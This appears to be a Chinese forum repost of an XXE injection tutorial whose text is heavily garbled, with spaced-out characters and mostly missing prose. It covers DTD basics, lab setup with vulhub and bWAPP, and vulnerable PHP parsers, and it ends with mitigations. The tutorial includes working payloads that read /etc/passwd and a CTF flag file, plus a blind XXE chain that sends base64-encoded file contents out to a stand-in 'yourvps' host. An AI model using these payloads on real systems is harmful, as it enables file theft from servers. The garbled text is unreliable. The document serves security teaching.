[26828] 2019-05-24_深入浅出-XXE漏洞

文档创建者:s7ckTeam
浏览次数:10
最后更新:2025-01-19
2019-05-24_深入浅出-XXE漏洞 - X X E     M s 0 8 0 6 7   2 0 1 9 - 0 5 - 2 4 M s 0 8 0 6 7 W e b C T F e r x x e x x e x x e .   C T F X M L D T D X M L , x m l h t m l : H T M L     X M L   D T D   X M L   , 使 , D T D     X M L   X M L D T D   X M L   ` ` ` < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " I S O - 8 8 5 9 - 1 " ? > < n o t e > < t o > G e o r g e < / t o > < f r o m > J o h n < / f r o m > < h e a d i n g > R e m i n d e r < / h e a d i n g > < b o d y > D o n ' t   f o r g e t   t h e   m e e t i n g ! < / b o d y > < / n o t e > ` ` `   X M L     X M L     ( 1 . 0 )   使   ( I S O - 8 8 5 9 - 1   =   L a t i n - 1 / 西 ) D T D * *   D O C T Y P E   * * < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   n o t e   [                     / /   n o t e       < ! E L E M E N T   n o t e   ( t o , f r o m , h e a d i n g , b o d y ) >   / /   n o t e   " t o f r o m h e a d i n g , b o d y "     < ! E L E M E N T   t o             ( # P C D A T A ) >     / /   t o     " # P C D A T A "       < ! E L E M E N T   f r o m         ( # P C D A T A ) >       / /   f r o m     " # P C D A T A "       < ! E L E M E N T   h e a d i n g   ( # P C D A T A ) >     / /   h e a d i n g     " # P C D A T A "       < ! E L E M E N T   b o d y         ( # P C D A T A ) >     / /   b o d y     " # P C D A T A "   ] > < n o t e >     < t o > G e o r g e < / t o >     < f r o m > J o h n < / f r o m >     < h e a d i n g > R e m i n d e r < / h e a d i n g >     < b o d y > D o n ' t   f o r g e t   t h e   m e e t i n g ! < / b o d y >
< / n o t e > * * D T D * *   D T D     D T D   X M L   使   P C D A T A     P C D A T A     # P C D A T A   < ! E L E M E N T     ( # P C D A T A ) > ` ` < ! E L E M E N T   f r o m   ( # P C D A T A ) > ` `   A N Y   < ! E L E M E N T     A N Y > ` ` < ! E L E M E N T   n o t e   A N Y > ` ` < ! E L E M E N T     (   1 ) > < ! E L E M E N T     (   1 ,   2 , . . . . . ) > ` ` < ! E L E M E N T   n o t e   ( t o , f r o m , h e a d i n g , b o d y ) > ` ` < ! E L E M E N T     ( ) > ` ` < ! E L E M E N T   n o t e   ( m e s s a g e ) > ` ` m e s s a g e   " n o t e " * * * * < ! D O C T Y P E     S Y S T E M   " " > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   n o t e   S Y S T E M   " n o t e . d t d " > < n o t e > < t o > G e o r g e < / t o > < f r o m > J o h n < / f r o m > < h e a d i n g > R e m i n d e r < / h e a d i n g > < b o d y > D o n ' t   f o r g e t   t h e   m e e t i n g ! < / b o d y > < / n o t e > ` ` `   X M L     X M L     D T D   D T D     " n o t e . d t d "   < ! E L E M E N T   n o t e   ( t o , f r o m , h e a d i n g , b o d y ) > < ! E L E M E N T   t o   ( # P C D A T A ) > < ! E L E M E N T   f r o m   ( # P C D A T A ) > < ! E L E M E N T   h e a d i n g   ( # P C D A T A ) >
< ! E L E M E N T   b o d y   ( # P C D A T A ) > D T D * * * * ` ` < ! E N T I T Y     " " > ` ` D T D   : < ! E N T I T Y   w r i t e r   " B i l l   G a t e s " > w r i t e r   B i l l   G a t e s c o p y r i g h t     C o p y r i g h t   W 3 S c h o o l . c o m . c n X M L   : ` ` < a u t h o r > & w r i t e r ; & c o p y r i g h t ; < / a u t h o r > ` ` :   :     ( & ) ,   ,     ( ; ) < ! D O C T Y P E   f o o   [         < ! E N T I T Y   x x e     " s e c   t e s t "   > ] > < r o o t >         < n a m e > & x x e ; < / n a m e > < / r o o t > * * * * ` ` < ! E N T I T Y     S Y S T E M   " U R I / U R L " > ` ` D T D   : ` ` ` < ! E N T I T Y   w r i t e r   S Y S T E M   " h t t p : / / w w w . w 3 s c h o o l . c o m . c n / d t d / e n t i t i e s . d t d " > < ! E N T I T Y   c o p y r i g h t   S Y S T E M   " h t t p : / / w w w . w 3 s c h o o l . c o m . c n / d t d / e n t i t i e s . d t d " > ` ` ` X M L   : ` ` < a u t h o r > & w r i t e r ; & c o p y r i g h t ; < / a u t h o r > ` ` ` ` f i l e : / / ` ` ` ` ` < ! D O C T Y P E   f o o   [         < ! E N T I T Y   x x e   S Y S T E M   " f i l e : / / / e t c / p a s s w d "   > ] > < r o o t >         < n a m e > & x x e ; < / n a m e > < / r o o t > ` ` ` * * * * < ! E N T I T Y   %     " " >
o r < ! E N T I T Y   %     S Y S T E M   " U R I " > D T D D T D 使 ( % ) ( & ) u r i x m l : B l i n e   X X E ` ` ` < ! E N T I T Y   %   s t y l e   " 2 3 3 3 " > < ! E N T I T Y   %   t e s t   " % s t y l e " > ` ` ` * * * * < ! E N T I T Y     P U B L I C   " p u b l i c _ I D "   " U R I " > X X E x x e x m l x m l x m l x m l ` ` ` < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   A N Y   [ < ! E N T I T Y   n a m e   " m y   n a m e   i s   n M a s k " > ] > < r o o t > & n a m e ; < / r o o t > ` ` ` m y   n a m e   i s   n M a s k x m l D T D x x e ` ` ` < ? x m l   v e r s i o n = 1 . 0   e n c o d i n g = U T F - 8 ? > < ! D O C T Y P E   A N Y   [ < ! E N T I T Y   %   n a m e   S Y S T E M   " h t t p : / / l o c a l h o s t / i n d e x . h t m l " > % n a m e ; ] > ` ` ` i n d e x . h t m l c e n t o s d o c k e r g i t   c l o n e   h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b . g i t / v u l h u b / v u l h u b / t r e e / m a s t e r / p h p / p h p _ x x e ` p i p   i n s t a l l   d o c k e r - c o m p o s e ` 访 h t t p : / / y o u r - i p : 8 0 8 0 / i n d e x . p h p p h p i n f o w w w ` ` `   d o m . p h p   #   使 D O M D o c u m e n t b o d y   i n d e x . p h p   # p h p i n f o ( )   S i m p l e X M L E l e m e n t . p h p   #   使 S i m p l e X M L E l e m e n t b o d y   s i m p l e x m l _ l o a d _ s t r i n g . p h p   #   使 s i m p l e x m l _ l o a d _ s t r i n g b o d y ` ` ` ` S i m p l e X M L E l e m e n t . p h p
` ` ` < ? p h p $ d a t a   =   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ; $ x m l   =   n e w   S i m p l e X M L E l e m e n t ( $ d a t a ) ;     / / x m l e c h o   $ x m l - > n a m e ; ` ` ` d o m . p h p ` ` ` < ? p h p $ d a t a   =   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ; $ d o m   =   n e w   D O M D o c u m e n t ( ) ; $ d o m - > l o a d X M L ( $ d a t a ) ; p r i n t _ r ( $ d o m ) ; ` ` ` s i m p l e x m l _ l o a d _ s t r i n g . p h p ` ` ` < ? p h p $ d a t a   =   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ; $ x m l   =   s i m p l e x m l _ l o a d _ s t r i n g ( $ d a t a ) ; e c h o   $ x m l - > n a m e ; ` ` ` x m l ` ` ` < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   r o o t   [ < ! E N T I T Y   w r i t e r   " B i l l   G a t e s " > < ! E N T I T Y   c o p y r i g h t   " C o p y r i g h t   W 3 S c h o o l . c o m . c n " > ] > < r o o t > < n a m e > & w r i t e r ; & c o p y r i g h t ; < / n a m e > < / r o o t > * * * *
* * * * ` ` ` < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   r o o t [ < ! E N T I T Y   x x e   S Y S T E M   " f i l e : / / / e t c / p a s s w d "   > ] > < r o o t > < n a m e > & x x e ; < / n a m e > < / r o o t > * * * * ` ` e c h o   $ x m l - > n a m e ; ` ` h t t p ~ x x e . d t d < ! E N T I T Y   e v i l   S Y S T E M   " f i l e : / / / e t c / p a s s w d "   > x m l < ! D O C T Y P E   f o o   [         < ! E N T I T Y     %   x x e   S Y S T E M   " h t t p : / / i p / x x e . d t d "   >         % x x e ; ] > < r o o t >         < n a m e > & e v i l ; < / n a m e > < / r o o t >
: < ! D O C T Y P E   f o o   [         < ! E N T I T Y     %   x x e   " < ! E N T I T Y   e v i l   S Y S T E M   ' f i l e : / / / e t c / p a s s w d ' > "   >         % x x e ; ] > < r o o t >         < n a m e > & e v i l ; < / n a m e > < / r o o t >   B l i n d   X X E     g e t   访 x x e . x m l , ` ` ` < ! E N T I T Y   %   a l l   " < ! E N T I T Y   s e n d   S Y S T E M   ' h t t p : / / y o u r v p s / % f i l e ; ' > " > ` ` ` ` ` ` < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   d a t a   [ < ! E N T I T Y   %   f i l e   S Y S T E M   " p h p : / / f i l t e r / c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = i n d e x . p h p " > < ! E N T I T Y   %   d t d   S Y S T E M   " h t t p : / / y o u r v p s / x x e . x m l " > % d t d ;   % a l l ; ] > < v a l u e > & s e n d ; < / v a l u e > ` ` ` % d t d x x e . x m l % a l l s e n d s e n d % f i l e h t t p p a y l o a d u r l l o g b a s e 6 4 ( / v a r / l o g / h t t p d / a c c e s s . l o g )
使 使 b W a p p : v u l s t u d y , b W a p p v u l s t u d y g i t   c l o n e   h t t p s : / / g i t h u b . c o m / c 0 n y 1 / v u l s t u d y . g i t c d   v u l s t u d y / b W a p p d o c k e r - c o m p o s e   u p   - d   # : 访 / i n s t a l l . p h p C h o o s e   y o u r   b u g     X M L   E x t e r n a l   E n t i t y   A t t a c k s   ( X X E ) x x e - 1 . p h p x x e - 2 . p h p x m l X M L X X E C T F h t t p : / / w e b . j a r v i s o j . c o m : 9 8 8 2 / / h o m e / c t f / f l a g . t x t f l a g C o n t e n t - T y p e a p p l i c a t i o n / x m l x m l
p a y l o a d : < ! D O C T Y P E   f o o   [         < ! E N T I T Y   x x e   S Y S T E M   " f i l e : / / / h o m e / c t f / f l a g . t x t "   > ] > < r o o t >         < n a m e > & x x e ; < / n a m e > < / r o o t > p h p l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r ( t r u e ) ; j a v a D o c u m e n t B u i l d e r F a c t o r y   d b f   = D o c u m e n t B u i l d e r F a c t o r y . n e w I n s t a n c e ( ) ; d b f . s e t E x p a n d E n t i t y R e f e r e n c e s ( f a l s e ) ; p y t h o n f r o m   l x m l   i m p o r t   e t r e e x m l D a t a   =   e t r e e . p a r s e ( x m l S o u r c e , e t r e e . X M L P a r s e r ( r e s o l v e _ e n t i t i e s = F a l s e ) ) h t t p s : / / b l o g . c s d n . n e t / c o m _ m a / a r t i c l e / d e t a i l s / 7 3 2 7 7 5 3 5 h t t p s : / / g i t h u b . c o m / c 0 n y 1 / x x e - l a b h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 1 2 6 7 8 8 . h t m l h t t p s : / / w w w . f r e e b u f . c o m / c o l u m n / 1 8 8 8 4 9 . h t m l h t t p s : / / w w w . i b m . c o m / d e v e l o p e r w o r k s / c n / x m l / x - e n t i t i e s /
M s 0 8 0 6 7   m s 0 8 0 6 7
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则